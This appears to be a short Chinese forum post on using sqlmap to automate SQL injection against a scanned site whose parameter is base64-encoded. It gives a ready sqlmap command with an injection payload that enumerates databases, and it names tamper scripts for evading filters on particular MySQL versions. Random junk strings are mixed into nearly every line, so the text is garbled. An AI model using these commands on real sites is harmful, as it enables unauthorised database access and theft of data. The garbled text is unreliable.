WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?5 i2 n9 i' V) C3 o, m g
- V5 K4 l6 Y0 Q! J# h" Y! _
sqlmap的tamper里有个base64encode.py+ `- @8 {# L. Z
0 |, q/ V4 P1 h4 p使用如下 a7 ]! ?& J7 Z7 ?* d
Z! W# [8 x6 psqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs; C4 K- H |* F
0 ]. l" T% ]" b3 F& V# u
2 u# a/ ~ ~9 J( g! fsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
: x9 W' N" t3 k6 D a/ A
t& H8 p1 N" s' [* m其中常用到的bypass脚本绕过SQLMAP主要两个脚本:! ?0 o$ k/ P& |1 Y* N
. B! }7 N) S# h6 C( s* i# ^
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入7 f4 s v2 q: d% G: h6 A
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
# S( f+ t2 m( t$ H' d ^首先确定目标数据库版本,然后选择相应的脚本。7 n( n: P. F7 W2 i
-v 3 --batch --tamper "space2hash.py"* N" j8 R8 Z* [
* j7 d3 A- y% S" Y) Y6 v8 p4 B. |
还有其他一些插件:
* q7 ^* L: r' _; d2 f5 y; C5 e8 V2 oencodes编码 ——charencode.py
+ A# T# f4 q1 B' J1 v5 G* kbase64编码 —— base64encode.py/ W2 P# v1 }( I! v: c
替换空格和关键字 —— halfversionedmorekeywords.py( x9 A2 V1 b/ Q: K% ]
|
& R6 U# i7 x- g. e. q& h7 |' L; v1 y0 d/ C6 l
4 g6 m" |7 l @* o& o
0 ~1 _( }: q: Y3 a/ J! K2 b- w |